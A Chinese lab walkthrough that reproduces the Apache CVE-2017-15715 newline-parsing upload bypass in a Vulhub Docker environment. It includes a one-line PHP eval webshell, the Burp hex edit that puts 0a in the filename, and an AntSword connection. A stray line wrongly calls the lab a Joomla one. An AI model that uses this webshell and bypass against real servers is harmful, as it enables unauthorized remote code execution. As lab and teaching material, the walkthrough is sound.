Apache换行解析 文件上传漏洞复现:原理详解+环境搭建+渗透实践(CVE-2017-15715 vulhub)

目录

一、CVE-2017-15715

1、漏洞简介

2、漏洞原理

二、环境搭建

[1、确保系统已安装 Docker 和 Docker-Compose](#1、确保系统已安装 Docker 和 Docker-Compose)

[2、下载 Vulhub](#2、下载 Vulhub)

3、进入漏洞环境

4、启动漏洞环境

5、查看环境状态

6、环境角色

[三、vulhub CVE-渗透](#三、vulhub CVE-渗透)

1、攻击机访问web页面

2、构造脚本

3、尝试上传

[4、bp设置inception on](#4、bp设置inception on)

5、再次上传脚本

6、bp抓包

7、修改报文

(1)后缀增加a

(2)定位61

(3)修改为0a

8、上传成功

9、访问脚本

10、连接蚁剑


本文详细分析Apache HTTP服务器中的CVE-2017-15715漏洞,该漏洞存在于2.4.0到2.4.29版本中,允许攻击者通过换行符绕过安全限制上传恶意PHP文件。文章首先介绍漏洞原理,随后详细描述了使用Vulhub搭建漏洞测试环境的过程,包括Docker环境的配置和启动。最后通过实际渗透测试演示了漏洞利用方法:构造特殊命名的PHP文件(包含换行符%0a),利用Burp Suite修改请求绕过检测,,成功上传webshell并用蚁剑连接控制服务器。整个过程完整呈现了从环境搭建到漏洞利用的全流程。

一、CVE-2017-15715

1、漏洞简介

CVE-2017-15715 是 Apache HTTP 服务器(版本 2.4.0 到 2.4.29 )中的换行解析漏洞,它允许攻击者通过精心构造的文件名绕过安全限制,上传并执行恶意代码。

  • CVE 编号:CVE-2017-15715

  • 漏洞类型:解析漏洞

  • 影响组件 :Apache HTTP 服务器(特别是与 mod_php 模块结合用于运行 PHP 网页时)。

  • 受影响版本 :Apache HTTPD 2.4.0 到 2.4.29 版本。

  • 不受影响版本:Apache HTTPD 2.4.30 及之后版本已修复此漏洞。

  • 根本原因 :Apache 在配置中使用正则表达式匹配 PHP 文件后缀时(通常是 \.php$),$ 元字符在某些配置下不仅匹配字符串结尾,还可能匹配换行符(\x0A 。这意味着一个名为 example.php\x0A 的文件可能会被 Apache 当作 PHP 文件解析,从而绕过一些基于后缀名的安全检测

2、漏洞原理

Apache 通过 FilesMatch 指令(例如 <FilesMatch \.php$>)来识别 PHP 文件,并交给 mod_php 处理。这里的 $ 在正则表达式中表示字符串的结束位置。

  • 然而,如果 RegExp 对象的 Multiline 属性被设置,$ 也可以匹配换行符(\n\r

  • 攻击者可以利用这一点,在上传文件时,在文件名中的 .php 后面插入一个换行符(%0a ,例如将文件命名为 shell.php%0a

  • 后端的上传检测逻辑(如使用 basename()pathinfo() 函数获取文件名并进行校验)可能因为不处理或去除换行符 而认为该文件后缀合法(例如认为是 .txt 或其他非黑名单后缀),从而允许上传。

  • 但 Apache 在解析时,由于 $ 匹配了换行符,仍会将 shell.php%0a 识别为 PHP 文件并执行其中的代码

二、环境搭建

1、确保系统已安装 Docker 和 Docker-Compose

本文使用Vulhub复现Joomla反序列化漏洞,由于Vulhub 依赖于 Docker 环境,需要确保系统中已经安装并启动了 Docker 服务,命令如下所示。

复制代码
# 检查 Docker 是否安装
docker --version
docker-compose --version
# 检查 Docker 服务状态
sudo systemctl status docker

2、下载 Vulhub

将 Vulhub 项目克隆到本地,具体命令如下所示。

复制代码
git clone https://github.com/vulhub/vulhub.git
cd vulhub

3、进入漏洞环境

Vulhub 已经准备好现成的漏洞环境,我们只需进入对应目录。注意:docker需要管理员权限运行,故而注意需要切换到root执行后续的docker命令。

复制代码
# 进入 apache CVE-2017-15715的漏洞环境目录
cd apache/CVE-2017-15715

4、启动漏洞环境

在apache/CVE-2017-15715目录下,使用 docker-compose 命令启动环境。Vulhub 的脚本会自动从 Docker Hub 拉取预先构建好的镜像并启动容器。

复制代码
└─# docker-compose up -d
/usr/lib/python3/dist-packages/paramiko/transport.py:219: CryptographyDeprecationWarning: Blowfish has been deprecated and will be removed in a future release
  "class": algorithms.Blowfish,
Creating network "cve-2017-15715_default" with the default driver
Building apache
Sending build context to Docker daemon  155.6kB
Step 1/4 : FROM vulhub/php:5.5-apache
5.5-apache: Pulling from vulhub/php
357ea8c3d80b: Pull complete 
85537f80f73d: Pull complete 
3d821ad560e1: Pull complete 
b4ae91aad522: Pull complete 
66e1c1a53c95: Pull complete 
5d1f306a8912: Pull complete 
37733078a51e: Pull complete 
c5351b4d6bee: Pull complete 
4f946c4dcbe2: Pull complete 
0c48c69d4b11: Pull complete 
dbc71ed1796a: Pull complete 
9c6d026ad711: Pull complete 
3fced1e5eb8f: Pull complete 
Digest: sha256:fc96e065114c01c6fdecc2fc73a14421fdbe9db0eb481aaebce98f4f4f9c4b5b
Status: Downloaded newer image for vulhub/php:5.5-apache
 ---> bc9c24ed3e6d
Step 2/4 : LABEL maintainer="phithon <root@leavesongs.com>"
 ---> Running in 5a00c5a89de9
Removing intermediate container 5a00c5a89de9
 ---> abb153024fb1
Step 3/4 : COPY index.php /var/www/html/
 ---> 47b9b3afa1e4
Step 4/4 : RUN chown www-data:www-data -R /var/www/html
 ---> Running in f5319022edde
Removing intermediate container f5319022edde
 ---> 06d76f8c76fa
Successfully built 06d76f8c76fa
Successfully tagged cve-2017-15715_apache:latest
WARNING: Image for service apache was built because it did not already exist. To rebuild this image you must use `docker-compose build` or `docker-compose up --build`.
Creating cve-2017-15715_apache_1 ... done

命令执行后,Docker 会完成拉取一个包含 cve-2017-15715_apache(受影响版本)的镜像。

5、查看环境状态

使用 docker ps 命令确认容器启动状态,如下所示从返回结果中的容器名称cve-2017-15715_apache可以立即判断,这个环境即为cve-2017-15715的漏洞环境。

复制代码
┌──(root㉿kali)-[/home/kali/vulhub-master/httpd/CVE-2017-15715]
└─# docker ps
CONTAINER ID   IMAGE                   COMMAND                CREATED          STATUS          PORTS                                   NAMES
d07dc7997c1c   cve-2017-15715_apache   "apache2-foreground"   10 minutes ago   Up 10 minutes   0.0.0.0:8080->80/tcp, :::8080->80/tcp   cve-2017-15715_apache_1
列名 含义解释
CONTAINER ID d07dc7997c1c 正在运行的Docker容器的唯一标识符(完整ID的缩写)。
IMAGE cve-2017-15715_apache 容器所使用的镜像名称。这个镜像是Vulhub专门为复现CVE-2017-15715漏洞而构建的,内部运行着一个存在漏洞的Apache服务器。
COMMAND "apache2-foreground" 容器启动时运行的命令。这里是启动Apache服务器并以前台模式运行,这是Web服务器容器的典型命令。
CREATED 10 minutes ago 容器是在10分钟前创建的。
STATUS Up 10 minutes 最重要信息之一 。容器当前的状态是"Up"(正在运行),且已经运行了10分钟。这说明漏洞环境正在正常运作
PORTS 0.0.0.0:8080->80/tcp 最关键的信息 。这表示Docker进行了端口映射 。 - 0.0.0.0:8080 :宿主机的所有网络接口(Kali Linux)上的8080端口 。 - 80/tcp :容器内部Apache服务器监听的80端口含义 :所有发送到你Kali机器8080端口 的网络流量,都会被自动转发到容器内部的80端口(即那个有漏洞的Apache服务器)。
NAMES cve-2017-15715_apache_1 容器的名称,由Docker Compose自动生成,基于目录名和服务的名称。

6、环境角色

靶机的ip与端口为192.168.59.128和8080,渗透环境的角色具体如下所示。

|------|----------------|--------|--------|
| | ip | os | 应用 |
| 靶机 | 192.168.59.128 | Docker | Apache |
| 攻击主机 | 192.168.59.128 | kali | msf |

三、vulhub CVE-渗透

1、攻击机访问web页面

如下所示,这是一个文件上传的页面,完整URL地址如下所示。

复制代码
http://192.168.59.128:8080

2、构造脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这个脚本的特点是在木马脚本的首部添加GIF89a,文件内容开头为 GIF89a,使脚本满足GIF格式的文件头签名。脚本执行时输出"mooyuan",实际核心是@eval($_POST['ljn']),该代码允许攻击者通过向该文件发送包含ljn参数的POST请求来远程执行任意****PHP 命令

复制代码
GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

3、尝试上传

尝试上次mooyuan.php,提示bad file。

4、bp设置inception on

5、再次上传脚本

将filename改为mooyuan.php,点击上传。

6、bp抓包

点击上传后bp抓包,如下所示,将上图红框内部的【mooyuan.php】修改为【mooyuan.phpa】,即文件名后缀增加一个a,这样做是a的16进制为61,为方便找到将其改为0a。

7、修改报文

(1)后缀增加a

在php的尾部增加a,修改后如下所示。

(2)定位61

在Hex对应的16进制编辑找到mooyuan.phpa对应的16进制内容,定位a对应的16进制61。

(3)修改为0a

将61修改为0a,确定修改好后,点击发送,如下所示。

8、 上传成功

查看网页,效果如下,没有提示上传失败。

进入docker中查看是否上传成功,如下所示已经上传成功。

9、 访问脚本

构建脚本URL地址,脚本名称为mooyuan.php%0a,脚本在网址根目录,故而URL如下所示。

复制代码
http://192.168.59.128:8080/mooyuan.php%0a
POST数据:ljn=phpinfo();

10、 连接蚁剑

使用蚁剑连接木马,配置如下所示,点击测试连接提示连接成功,点击左上角的添加。

复制代码
http://192.168.59.128:8080/mooyuan.php%0a
密码ljn

连接成功后效果如下所示,右键文件操作进入文件管理界面。

相关推荐
mooyuan天天1 个月前
phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(vulhub CVE-2018-12613)
文件包含·文件包含漏洞·web漏洞·phpmyadmin·web框架漏洞·cve-2018-12613·session文件包含
mooyuan天天1 个月前
phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2014-8959)
文件包含漏洞·phpmyadmin·cve-2014-8959·web框架漏洞